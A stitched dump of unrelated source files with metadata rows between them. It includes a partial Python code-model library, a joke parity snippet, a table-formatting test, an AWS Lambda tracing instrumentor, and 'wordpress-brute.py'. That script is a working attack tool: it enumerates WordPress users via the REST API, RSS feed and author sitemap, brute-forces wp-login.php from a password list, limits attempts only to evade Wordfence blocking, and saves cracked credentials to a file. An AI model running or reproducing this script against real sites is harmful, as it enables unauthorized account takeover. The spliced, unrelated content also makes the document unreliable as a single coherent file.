"""Constructor for declaration statements.
Args:
scope (CodeEntity): The program scope where this object belongs.
parent (CodeEntity): This object's parent in the program tree.
"""
CodeStatement.__init__(self, scope, parent)
self.variables = []
def _add(self, codeobj):
"""Add a child (variable) to this object."""
assert isinstance(codeobj, CodeVariable)
self.variables.append(codeobj)
def _children(self):
"""Yield all direct children of this object."""
for codeobj in self.variables:
yield codeobj
def pretty_str(self, indent=0):
"""Return a human-readable string representation of this object.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
spaces = ' ' * indent
return spaces + ', '.join(v.pretty_str() for v in self.variables)
def __repr__(self):
"""Return a string representation of this object."""
return str(self.variables)
class CodeControlFlow(CodeStatement, CodeStatementGroup):
"""Base class for control flow structures (e.g. `for` loops).
Control flow statements are assumed to have, at least, one branch
(a boolean condition and a `CodeBlock` that is executed when
the condition is met). Specific implementations may consider
more branches, or default branches (executed when no condition is met).
A control flow statement typically has a name.
"""
def __init__(self, scope, parent, name):
"""Constructor for control flow structures.
Args:
scope (CodeEntity): The program scope where this object belongs.
parent (CodeEntity): This object's parent in the program tree.
name (str): The name of the control flow statement in the program.
"""
CodeStatement.__init__(self, scope, parent)
self.name = name
self.condition = True
self.body = CodeBlock(scope, self, explicit=False)
def get_branches(self):
"""Return a list of branches, where each branch is a pair of
condition and respective body."""
return [(self.condition, self.body)]
def _set_condition(self, condition):
"""Set the condition for this control flow structure."""
assert isinstance(condition, CodeExpression.TYPES)
self.condition = condition
def _set_body(self, body):
"""Set the main body for this control flow structure."""
assert isinstance(body, CodeStatement)
if isinstance(body, CodeBlock):
self.body = body
else:
self.body._add(body)
def _children(self):
"""Yield all direct children of this object."""
if isinstance(self.condition, CodeExpression):
yield self.condition
for codeobj in self.body._children():
yield codeobj
def __repr__(self):
"""Return a string representation of this object."""
return '{} {}'.format(self.name, self.get_branches())
class CodeConditional(CodeControlFlow):
"""This class represents a conditional (`if`).
A conditional is allowed to have a default branch (the `else` branch),
besides its mandatory one.
"""
def __init__(self, scope, parent):
"""Constructor for conditionals.
Args:
scope (CodeEntity): The program scope where this object belongs.
parent (CodeEntity): This object's parent in the program tree.
"""
CodeControlFlow.__init__(self, scope, parent, 'if')
self.else_body = CodeBlock(scope, self, explicit=False)
@property
def then_branch(self):
"""The branch associated with a condition."""
return self.condition, self.body
@property
def else_branch(self):
"""The default branch of the conditional."""
return True, self.else_body
def statement(self, i):
"""Return the *i*-th statement of this block.
Behaves as if the *then* and *else* branches were
concatenated, for indexing purposes.
"""
# ----- This code is just to avoid creating a new list and
# returning a custom exception message.
o = len(self.body)
n = o + len(self.else_body)
if i >= 0 and i < n:
if i < o:
return self.body.statement(i)
return self.else_body.statement(i - o)
elif i < 0 and i >= -n:
if i >= o - n:
return self.else_body.statement(i)
return self.body.statement(i - o + n)
raise IndexError('statement index out of range')
def statement_after(self, i):
"""Return the statement after the *i*-th one, or `None`."""
k = i + 1
o = len(self.body)
n = o + len(self.else_body)
if k > 0:
if k < o:
return self.body.statement(k)
if k > o and k < n:
return self.else_body.statement(k)
if k < 0:
if k < o - n and k > -n:
return self.body.statement(k)
if k > o - n:
return self.else_body.statement(k)
return None
def get_branches(self):
"""Return a list with the conditional branch and the default branch."""
if self.else_branch:
return [self.then_branch, self.else_branch]
return [self.then_branch]
def _add_default_branch(self, body):
"""Add a default body for this conditional (the `else` branch)."""
assert isinstance(body, CodeStatement)
if isinstance(body, CodeBlock):
self.else_body = body
else:
self.else_body._add(body)
def __len__(self):
"""Return the length of both branches combined."""
return len(self.body) + len(self.else_body)
def _children(self):
"""Yield all direct children of this object."""
if isinstance(self.condition, CodeExpression):
yield self.condition
for codeobj in self.body._children():
yield codeobj
for codeobj in self.else_body._children():
yield codeobj
def pretty_str(self, indent=0):
"""Return a human-readable string representation of this object.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
spaces = ' ' * indent
condition = pretty_str(self.condition)
pretty = '{}if ({}):\n'.format(spaces, condition)
pretty += self.body.pretty_str(indent=indent + 2)
if self.else_body:
pretty += '\n{}else:\n'.format(spaces)
pretty += self.else_body.pretty_str(indent=indent + 2)
return pretty
class CodeLoop(CodeControlFlow):
"""This class represents a loop (e.g. `while`, `for`).
Some languages allow loops to define local declarations, as well
as an increment statement.
A loop has only a single branch, its condition plus the body
that should be repeated while the condition holds.
"""
def __init__(self, scope, parent, name):
"""Constructor for loops.
Args:
scope (CodeEntity): The program scope where this object belongs.
parent (CodeEntity): This object's parent in the program tree.
name (str): The name of the loop statement in the program.
"""
CodeControlFlow.__init__(self, scope, parent, name)
self.declarations = None
self.increment = None
def _set_declarations(self, declarations):
"""Set declarations local to this loop (e.g. `for` variables)."""
assert isinstance(declarations, CodeStatement)
self.declarations = declarations
declarations.scope = self.body
def _set_increment(self, statement):
"""Set the increment statement for this loop (e.g. in a `for`)."""
assert isinstance(statement, CodeStatement)
self.increment = statement
statement.scope = self.body
def _children(self):
"""Yield all direct children of this object."""
if self.declarations:
yield self.declarations
if isinstance(self.condition, CodeExpression):
yield self.condition
if self.increment:
yield self.increment
for codeobj in self.body._children():
yield codeobj
def pretty_str(self, indent=0):
"""Return a human-readable string representation of this object.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
spaces = ' ' * indent
condition = pretty_str(self.condition)
v = self.declarations.pretty_str() if self.declarations else ''
i = self.increment.pretty_str(indent=1) if self.increment else ''
pretty = '{}for ({}; {}; {}):\n'.format(spaces, v, condition, i)
pretty += self.body.pretty_str(indent=indent + 2)
return pretty
class CodeSwitch(CodeControlFlow):
"""This class represents a switch statement.
A switch evaluates a value (its `condition`) and then declares
at least one branch (*cases*) that execute when the evaluated value
is equal to the branch value. It may also have a default branch.
Switches are often one of the most complex constructs of programming
languages, so this implementation might be lackluster.
"""
def __init__(self, scope, parent):
"""Constructor for switches.
Args:
scope (CodeEntity): The program scope where this object belongs.
parent (CodeEntity): This object's parent in the program tree.
"""
CodeControlFlow.__init__(self, scope, parent, "switch")
self.cases = []
self.default_case = None
def _add_branch(self, value, statement):
"""Add a branch/case (value and statement) to this switch."""
self.cases.append((value, statement))
def _add_default_branch(self, statement):
"""Add a default branch to this switch."""
self.default_case = statement
def pretty_str(self, indent=0):
"""Return a human-readable string representation of this object.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
spaces = ' ' * indent
condition = pretty_str(self.condition)
pretty = '{}switch ({}):\n'.format(spaces, condition)
pretty += self.body.pretty_str(indent=indent + 2)
return pretty
class CodeTryBlock(CodeStatement, CodeStatementGroup):
"""This class represents a try-catch block statement.
`try` blocks have a main body of statements, just like regular blocks.
Multiple `catch` blocks may be defined to handle specific types of
exceptions.
Some languages also allow a `finally` block that is executed after
the other blocks (either the `try` block, or a `catch` block, when
an exception is raised and handled).
"""
def __init__(self, scope, parent):
"""Constructor for try block structures.
Args:
scope (CodeEntity): The program scope where this object belongs.
parent (CodeEntity): This object's parent in the program tree.
"""
CodeStatement.__init__(self, scope, parent)
self.body = CodeBlock(scope, self, explicit=True)
self.catches = []
self.finally_body = CodeBlock(scope, self, explicit=True)
def _set_body(self, body):
"""Set the main body for try block structure."""
assert isinstance(body, CodeBlock)
self.body = body
def _add_catch(self, catch_block):
"""Add a catch block (exception variable declaration and block)
to this try block structure.
"""
assert isinstance(catch_block, self.CodeCatchBlock)
self.catches.append(catch_block)
def _set_finally_body(self, body):
"""Set the finally body for try block structure."""
assert isinstance(body, CodeBlock)
self.finally_body = body
def _children(self):
"""Yield all direct children of this object."""
for codeobj in self.body._children():
yield codeobj
for catch_block in self.catches:
for codeobj in catch_block._children():
yield codeobj
for codeobj in self.finally_body._children():
yield codeobj
def __len__(self):
"""Return the length of all blocks combined."""
n = len(self.body) + len(self.catches) + len(self.finally_body)
n += sum(map(len, self.catches))
return n
def __repr__(self):
"""Return a string representation of this object."""
return 'try {} {} {}'.format(self.body, self.catches,
self.finally_body)
def pretty_str(self, indent=0):
"""Return a human-readable string representation of this object.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
spaces = ' ' * indent
pretty = spaces + 'try:\n'
pretty += self.body.pretty_str(indent=indent + 2)
for block in self.catches:
pretty += '\n' + block.pretty_str(indent)
if len(self.finally_body) > 0:
pretty += '\n{}finally:\n'.format(spaces)
pretty += self.finally_body.pretty_str(indent=indent + 2)
return pretty
class CodeCatchBlock(CodeStatement, CodeStatementGroup):
"""Helper class for catch statements within a try-catch block."""
def __init__(self, scope, parent):
"""Constructor for catch block structures."""
CodeStatement.__init__(self, scope, parent)
self.declarations = None
self.body = CodeBlock(scope, self, explicit=True)
def _set_declarations(self, declarations):
"""Set declarations local to this catch block."""
assert isinstance(declarations, CodeStatement)
self.declarations = declarations
declarations.scope = self.body
def _set_body(self, body):
"""Set the main body of the catch block."""
assert isinstance(body, CodeBlock)
self.body = body
def _children(self):
"""Yield all direct children of this object."""
if isinstance(self.declarations, CodeStatement):
yield self.declarations
for codeobj in self.body._children():
yield codeobj
def __repr__(self):
"""Return a string representation of this object."""
return 'catch ({}) {}'.format(self.declarations, self.body)
def pretty_str(self, indent=0):
"""Return a human-readable string representation of this object.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
spaces = ' ' * indent
decls = ('...' if self.declarations is None
else self.declarations.pretty_str())
body = self.body.pretty_str(indent=indent + 2)
pretty = '{}catch ({}):\n{}'.format(spaces, decls, body)
return pretty
###############################################################################
# Helpers
###############################################################################
def pretty_str(something, indent=0):
"""Return a human-readable string representation of an object.
Uses `pretty_str` if the given value is an instance of
`CodeEntity` and `repr` otherwise.
Args:
something: Some value to convert.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
if isinstance(something, CodeEntity):
return something.pretty_str(indent=indent)
else:
return (' ' * indent) + repr(something)
| 35.889841
| 81
| 0.60325
| 6,906
| 58,644
| 5.038952
| 0.082682
| 0.034771
| 0.02138
| 0.025662
| 0.571281
| 0.507141
| 0.465732
| 0.430616
| 0.409926
| 0.393575
| 0
| 0.001641
| 0.293602
| 58,644
| 1,633
| 82
| 35.911819
| 0.838387
| 0.427819
| 0
| 0.487805
| 0
| 0
| 0.024693
| 0
| 0
| 0
| 0
| 0
| 0.032999
| 1
| 0.220947
| false
| 0.012912
| 0
| 0.002869
| 0.407461
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
fc4647689f1b8d8a1248e0d89dd5fa8d84dedfbf
| 350
|
py
|
Python
|
python/is_even.py
|
c1m50c/twitter-examples
|
c3ed7cf88dacbb761fed1b0b0dc593d7d3648378
|
[
"MIT"
] | null | null | null |
python/is_even.py
|
c1m50c/twitter-examples
|
c3ed7cf88dacbb761fed1b0b0dc593d7d3648378
|
[
"MIT"
] | null | null | null |
python/is_even.py
|
c1m50c/twitter-examples
|
c3ed7cf88dacbb761fed1b0b0dc593d7d3648378
|
[
"MIT"
] | null | null | null |
def is_even(i: int) -> bool:
if i == 1:
return False
elif i == 2:
return True
elif i == 3:
return False
elif i == 4:
return True
elif i == 5:
...
# Never do that! Use one of these instead...
is_even = lambda i : i % 2 == 0
is_even = lambda i : not i & 1
is_odd = lambda i : not is_even(i)
| 20.588235
| 44
| 0.511429
| 59
| 350
| 2.949153
| 0.474576
| 0.137931
| 0.08046
| 0.183908
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.036364
| 0.371429
| 350
| 17
| 45
| 20.588235
| 0.754545
| 0.12
| 0
| 0.285714
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.071429
| false
| 0
| 0
| 0
| 0.357143
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
fc46a91fda80741480960994acf3dbc98c9e618b
| 8,886
|
py
|
Python
|
wordpress-brute.py
|
RandomRobbieBF/wordpress-bf
|
fe78d4367b7baaf18a4200c5c040595d37b4100f
|
[
"MIT"
] | 1
|
2020-07-27T11:30:23.000Z
|
2020-07-27T11:30:23.000Z
|
wordpress-brute.py
|
RandomRobbieBF/wordpress-bf
|
fe78d4367b7baaf18a4200c5c040595d37b4100f
|
[
"MIT"
] | null | null | null |
wordpress-brute.py
|
RandomRobbieBF/wordpress-bf
|
fe78d4367b7baaf18a4200c5c040595d37b4100f
|
[
"MIT"
] | 1
|
2020-05-17T12:40:13.000Z
|
2020-05-17T12:40:13.000Z
|
#!/usr/bin/env python
#
# Wordpress Bruteforce Tool
#
# By @random_robbie
#
#
import requests
import json
import sys
import argparse
import re
import os.path
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
session = requests.Session()
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", required=True, default="http://wordpress.lan", help="Wordpress URL")
parser.add_argument("-f", "--file", required=True, default="pass.txt" ,help="Password File")
args = parser.parse_args()
url = args.url
passfile = args.file
http_proxy = ""
proxyDict = {
"http" : http_proxy,
"https" : http_proxy,
"ftp" : http_proxy
}
# Grab Wordpress Users via Wordpress JSON api
def grab_users_api(url):
headers = {"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Connection":"close","Accept":"*/*"}
response = session.get(""+url+"/wp-json/wp/v2/users", headers=headers,verify=False, proxies=proxyDict)
if 'rest_user_cannot_view' in response.text:
print ("[-] REST API Endpoint Requires Permissions [-]")
return False
if response.status_code == 404:
print ("[-] Rest API Endpoint returns 404 Not Found [-]")
return False
elif response.status_code == 200:
jsonstr = json.loads(response.content)
return jsonstr
# Grab Wordpress Users via Sitemap
def grab_users_sitemap(url):
headers = {"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Connection":"close","Accept":"*/*"}
response = session.get(""+url+"/author-sitemap.xml", headers=headers,verify=False, proxies=proxyDict)
if response.status_code == 404:
return False
elif response.status_code == 200:
return response.text
# Grab Wordpress Users via RSS Feed
def grab_users_rssfeed(url):
headers = {"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Connection":"close","Accept":"*/*"}
response = session.get(""+url+"/feed/", headers=headers,verify=False, proxies=proxyDict)
if response.status_code == 404:
return False
elif response.status_code == 200:
if "dc:creator" in response.text:
return response.text
# Check we can get to wp-admin login.
def check_wpadmin(url):
headers = {"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Connection":"close","Accept":"*/*"}
response = session.get(""+url+"/wp-login.php?reauth=1&jetpack-sso-show-default-form=1", headers=headers,verify=False, proxies=proxyDict)
if "Powered by WordPress" in response.text:
if "wp-submit" in response.text:
if "reCAPTCHA" not in response.text:
return True
else:
return False
else:
return False
else:
return False
# Check URL is wordpress
def check_is_wp(url):
headers = {"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Connection":"close","Accept":"*/*"}
response = session.get(""+url+"", headers=headers,verify=False, proxies=proxyDict)
if "wp-content" in response.text:
return True
else:
return False
# Check if wordfence is installed as this limits the logins to 20 per ip
def check_wordfence(url):
headers = {"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Connection":"close","Accept":"*/*"}
response = session.get(""+url+"/wp-content/plugins/wordfence/readme.txt", headers=headers,verify=False, proxies=proxyDict)
if "Wordfence Security - Firewall & Malware Scan" in response.text:
return True
else:
return False
# Test the logins
def test_login (url,user,password,cnt,attempts):
if str(cnt) == attempts:
print("[-] Stopping as Wordfence will block your IP [-]")
sys.exit(0)
paramsPost = {"wp-submit":"Log In","pwd":""+password+"","log":""+user+"","testcookie":"1","redirect_to":""+url+"/wp-admin/"}
headers = {"Origin":""+url+"","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","Content-Type":"application/x-www-form-urlencoded"}
cookies = {"wordpress_test_cookie":"WP+Cookie+check"}
response = session.post(""+url+"/wp-login.php?redirect_to="+url+"/wp-admin/", data=paramsPost, headers=headers, cookies=cookies,verify=False, proxies=proxyDict,allow_redirects = False)
if response.status_code == 503:
print("[-] Website is giving 503 HTTP Status [-]")
sys.exit(0)
if response.status_code == 502:
print("[-] Website is giving 502 HTTP Status [-]")
sys.exit(0)
if response.status_code == 403:
print("[-] Website is giving 403 HTTP Status - WAF Blocking[-]")
sys.exit(0)
if "Google Authenticator code" in response.text:
print("[-] 2FA is enabled Sorry [-]")
sys.exit(0)
if "wordpress_logged_in" in response.headers['Set-Cookie']:
print("[+] Found Login Username: "+user+" Password: "+password+" on attempt "+str(cnt)+" [+]")
text_file = open("found.txt", "a")
text_file.write(""+url+" Found Login Username: "+user+" Password: "+password+"\n")
text_file.close()
sys.exit(0)
else:
print("[-] Login Failed for Username: "+user+" Password: "+password+" on attempt "+str(cnt)+" [-]")
cnt += 1
return cnt
def count_pass(passfile):
count = 0
with open(passfile, 'r') as f:
for line in f:
count += 1
f.close()
return str(count)
# Dont no body like dupes.
def remove_dupes():
lines_seen = set()
outfile = open("users.txt", "w")
for line in open("rssusers.txt", "r"):
if line not in lines_seen:
outfile.write(line)
lines_seen.add(line)
outfile.close()
def attack_restapi(url,attempts,userdata,passfile):
for id in userdata:
user = id['slug']
cnt = 1
print(("[+] Found User: "+user+" [+]"))
with open(passfile, 'r') as f:
for line in f:
password = line.strip()
cnt = test_login (url,user,password,cnt,attempts)
f.close()
def attack_rssfeed(url,attempts,userdata,passfile):
users = re.compile("<dc:creator><!(.+?)]]></dc:creator").findall(userdata)
if os.path.exists("rssusers.txt"):
os.remove("rssusers.txt")
if os.path.exists("users.txt"):
os.remove("users.txt")
for user in users:
u = user.replace("[CDATA[","")
text_file = open("rssusers.txt", "a")
text_file.write(""+str(u)+"\n")
text_file.close()
remove_dupes()
with open("users.txt", 'r') as f:
for line in f:
user = line.strip()
cnt = 1
print(("[+] Found User: "+user+" [+]"))
with open(passfile, 'r') as b:
for line in b:
password = line.strip()
cnt = test_login (url,user,password,cnt,attempts)
f.close()
b.close()
def attack_sitemap(url,attempts,userdata,passfile):
auth = re.findall(r'(<loc>(.*?)</loc>)\s',userdata)
for user in auth:
thisuser = user[1]
h = thisuser.split('/')
user = h[4]
cnt = 1
with open(passfile, 'r') as f:
for line in f:
password = line.strip()
cnt = test_login (url,user,password,cnt,attempts)
f.close()
# Time For Some Machine Learning Quality IF statements.
def basic_checks(url):
if check_is_wp(url):
if check_wpadmin(url):
return True
else:
return False
else:
return False
if basic_checks(url):
print("[+] Confirmed Wordpress Website [+]")
else:
print ("[-] Sorry this is either not a wordpress website or there is a issue blocking wp-admin [-]")
sys.exit(0)
if os.path.isfile(passfile) and os.access(passfile, os.R_OK):
print("[+] Password List Used: "+passfile+" [+]")
else:
print("[-] Either the file is missing or not readable [-]")
sys.exit(0)
# Method Value for which method to enumerate users from
method = "None"
attempts = "None"
# Which method to use for enumeration
if grab_users_api(url):
print("[+] Users found via Rest API [-]")
method = "restapi"
if grab_users_rssfeed(url) and method == "None":
print("[+] Users found via RSS Feed [+]")
method = "rss"
if grab_users_sitemap(url) and method == "None":
print("[+] Users found via Authors Sitemap [-]")
method = "sitemap"
if method == "None":
print ("[-] Oh Shit it seems I was unable to find a method to grab usernames from [-]")
sys.exit(0)
if check_wordfence(url):
print ("[+] Wordfence is installed this will limit the testing to 20 attempts [+]")
attempts = "20"
# Kick off Parsing and attacking
if method == "restapi":
userdata = grab_users_api(url)
attack_restapi(url,attempts,userdata,passfile)
if method == "rss":
userdata = grab_users_rssfeed(url)
attack_rssfeed(url,attempts,userdata,passfile)
if method == "sitemap":
userdata = grab_users_sitemap(url)
attack_sitemap(url,attempts,userdata,passfile)
| 31.399293
| 388
| 0.679721
| 1,289
| 8,886
| 4.624515
| 0.223429
| 0.007046
| 0.027177
| 0.019963
| 0.41436
| 0.393055
| 0.33954
| 0.296427
| 0.241738
| 0.228988
| 0
| 0.028727
| 0.153838
| 8,886
| 282
| 389
| 31.510638
| 0.764064
| 0.059419
| 0
| 0.344498
| 0
| 0.043062
| 0.325699
| 0.039333
| 0
| 0
| 0
| 0
| 0
| 1
| 0.062201
| false
| 0.124402
| 0.033493
| 0
| 0.191388
| 0.095694
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 1
|
fc49b99b0326493e147f5f9c2af303341e2290ed
| 2,422
|
py
|
Python
|
tests/tabular_output/test_terminaltables_adapter.py
|
zzl0/cli_helpers
|
266645937423225bdb636ef6aa659f1a40ceec5f
|
[
"BSD-3-Clause"
] | null | null | null |
tests/tabular_output/test_terminaltables_adapter.py
|
zzl0/cli_helpers
|
266645937423225bdb636ef6aa659f1a40ceec5f
|
[
"BSD-3-Clause"
] | null | null | null |
tests/tabular_output/test_terminaltables_adapter.py
|
zzl0/cli_helpers
|
266645937423225bdb636ef6aa659f1a40ceec5f
|
[
"BSD-3-Clause"
] | null | null | null |
# -*- coding: utf-8 -*-
"""Test the terminaltables output adapter."""
from __future__ import unicode_literals
from textwrap import dedent
import pytest
from cli_helpers.compat import HAS_PYGMENTS
from cli_helpers.tabular_output import terminaltables_adapter
if HAS_PYGMENTS:
from pygments.style import Style
from pygments.token import Token
def test_terminal_tables_adapter():
"""Test the terminaltables output adapter."""
data = [['abc', 1], ['d', 456]]
headers = ['letters', 'number']
output = terminaltables_adapter.adapter(
iter(data), headers, table_format='ascii')
assert "\n".join(output) == dedent('''\
+---------+--------+
| letters | number |
+---------+--------+
| abc | 1 |
| d | 456 |
+---------+--------+''')
@pytest.mark.skipif(not HAS_PYGMENTS, reason='requires the Pygments library')
def test_style_output_table():
"""Test that *style_output_table()* styles the output table."""
class CliStyle(Style):
default_style = ""
styles = {
Token.Output.TableSeparator: '#ansired',
}
headers = ['h1', 'h2']
data = [['观音', '2'], ['Ποσειδῶν', 'b']]
style_output_table = terminaltables_adapter.style_output_table('ascii')
style_output_table(data, headers, style=CliStyle)
output = terminaltables_adapter.adapter(iter(data), headers, table_format='ascii')
assert "\n".join(output) == dedent('''\
\x1b[31;01m+\x1b[39;00m''' + (
('\x1b[31;01m-\x1b[39;00m' * 10) +
'\x1b[31;01m+\x1b[39;00m' +
('\x1b[31;01m-\x1b[39;00m' * 4)) +
'''\x1b[31;01m+\x1b[39;00m
\x1b[31;01m|\x1b[39;00m h1 \x1b[31;01m|\x1b[39;00m''' +
''' h2 \x1b[31;01m|\x1b[39;00m
''' + '\x1b[31;01m+\x1b[39;00m' + (
('\x1b[31;01m-\x1b[39;00m' * 10) +
'\x1b[31;01m+\x1b[39;00m' +
('\x1b[31;01m-\x1b[39;00m' * 4)) +
'''\x1b[31;01m+\x1b[39;00m
\x1b[31;01m|\x1b[39;00m 观音 \x1b[31;01m|\x1b[39;00m''' +
''' 2 \x1b[31;01m|\x1b[39;00m
\x1b[31;01m|\x1b[39;00m Ποσειδῶν \x1b[31;01m|\x1b[39;00m''' +
''' b \x1b[31;01m|\x1b[39;00m
''' + '\x1b[31;01m+\x1b[39;00m' + (
('\x1b[31;01m-\x1b[39;00m' * 10) +
'\x1b[31;01m+\x1b[39;00m' +
('\x1b[31;01m-\x1b[39;00m' * 4)) +
'\x1b[31;01m+\x1b[39;00m')
| 34.6
| 86
| 0.547069
| 316
| 2,422
| 4.091772
| 0.218354
| 0.092807
| 0.148492
| 0.204176
| 0.492653
| 0.440062
| 0.402939
| 0.402939
| 0.402939
| 0.402939
| 0
| 0.143322
| 0.239472
| 2,422
| 69
| 87
| 35.101449
| 0.558632
| 0.066061
| 0
| 0.306122
| 0
| 0
| 0.305112
| 0.159212
| 0
| 0
| 0
| 0
| 0.040816
| 1
| 0.040816
| false
| 0
| 0.142857
| 0
| 0.244898
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
fc557f84938097fbd8c0d95d4d05c57f1ad0bde0
| 4,093
|
py
|
Python
|
python/src/otel/otel_sdk/opentelemetry/instrumentation/aws_lambda/__init__.py
|
matt-tyler/opentelemetry-lambda
|
6b427d351fa721620fcd387e836e9f2f9f20cb60
|
[
"Apache-2.0"
] | null | null | null |
python/src/otel/otel_sdk/opentelemetry/instrumentation/aws_lambda/__init__.py
|
matt-tyler/opentelemetry-lambda
|
6b427d351fa721620fcd387e836e9f2f9f20cb60
|
[
"Apache-2.0"
] | null | null | null |
python/src/otel/otel_sdk/opentelemetry/instrumentation/aws_lambda/__init__.py
|
matt-tyler/opentelemetry-lambda
|
6b427d351fa721620fcd387e836e9f2f9f20cb60
|
[
"Apache-2.0"
] | 1
|
2021-01-24T12:08:18.000Z
|
2021-01-24T12:08:18.000Z
|
# Copyright 2020, OpenTelemetry Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# TODO: usage
"""
The opentelemetry-instrumentation-aws-lambda package allows tracing AWS
Lambda function.
Usage
-----
.. code:: python
# Copy this snippet into AWS Lambda function
# Ref Doc: https://docs.aws.amazon.com/lambda/latest/dg/lambda-python.html
import boto3
from opentelemetry.instrumentation.aws_lambda import (
AwsLambdaInstrumentor
)
# Enable instrumentation
AwsLambdaInstrumentor().instrument()
# Lambda function
def lambda_handler(event, context):
s3 = boto3.resource('s3')
for bucket in s3.buckets.all():
print(bucket.name)
return "200 OK"
API
---
"""
import logging
import os
from importlib import import_module
from wrapt import wrap_function_wrapper
# TODO: aws propagator
from opentelemetry.sdk.extension.aws.trace.propagation.aws_xray_format import (
AwsXRayFormat,
)
from opentelemetry.instrumentation.aws_lambda.version import __version__
from opentelemetry.instrumentation.instrumentor import BaseInstrumentor
from opentelemetry.instrumentation.utils import unwrap
from opentelemetry.trace import SpanKind, get_tracer, get_tracer_provider
logger = logging.getLogger(__name__)
class AwsLambdaInstrumentor(BaseInstrumentor):
def _instrument(self, **kwargs):
self._tracer = get_tracer(__name__, __version__, kwargs.get("tracer_provider"))
self._tracer_provider = get_tracer_provider()
lambda_handler = os.environ.get("ORIG_HANDLER", os.environ.get("_HANDLER"))
wrapped_names = lambda_handler.rsplit(".", 1)
self._wrapped_module_name = wrapped_names[0]
self._wrapped_function_name = wrapped_names[1]
wrap_function_wrapper(
self._wrapped_module_name,
self._wrapped_function_name,
self._functionPatch,
)
def _uninstrument(self, **kwargs):
unwrap(
import_module(self._wrapped_module_name),
self._wrapped_function_name,
)
def _functionPatch(self, original_func, instance, args, kwargs):
lambda_context = args[1]
ctx_aws_request_id = lambda_context.aws_request_id
ctx_invoked_function_arn = lambda_context.invoked_function_arn
orig_handler = os.environ.get("ORIG_HANDLER", os.environ.get("_HANDLER"))
# TODO: enable propagate from AWS by env variable
xray_trace_id = os.environ.get("_X_AMZN_TRACE_ID", "")
lambda_name = os.environ.get("AWS_LAMBDA_FUNCTION_NAME")
function_version = os.environ.get("AWS_LAMBDA_FUNCTION_VERSION")
propagator = AwsXRayFormat()
parent_context = propagator.extract({"X-Amzn-Trace-Id": xray_trace_id})
with self._tracer.start_as_current_span(
name=orig_handler, context=parent_context, kind=SpanKind.SERVER
) as span:
# Refer: https://github.com/open-telemetry/opentelemetry-specification/blob/master/specification/trace/semantic_conventions/faas.md#example
span.set_attribute("faas.execution", ctx_aws_request_id)
span.set_attribute("faas.id", ctx_invoked_function_arn)
# TODO: fix in Collector because they belong resource attrubutes
span.set_attribute("faas.name", lambda_name)
span.set_attribute("faas.version", function_version)
result = original_func(*args, **kwargs)
# force_flush before function quit in case of Lambda freeze.
self._tracer_provider.force_flush()
return result
| 34.108333
| 151
| 0.716101
| 497
| 4,093
| 5.647887
| 0.382294
| 0.022444
| 0.029925
| 0.027075
| 0.133951
| 0.086926
| 0.066263
| 0.066263
| 0.034913
| 0.034913
| 0
| 0.006096
| 0.198387
| 4,093
| 119
| 152
| 34.394958
| 0.849436
| 0.374786
| 0
| 0.04
| 0
| 0
| 0.07109
| 0.020142
| 0
| 0
| 0
| 0.016807
| 0
| 1
| 0.06
| false
| 0
| 0.2
| 0
| 0.3
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
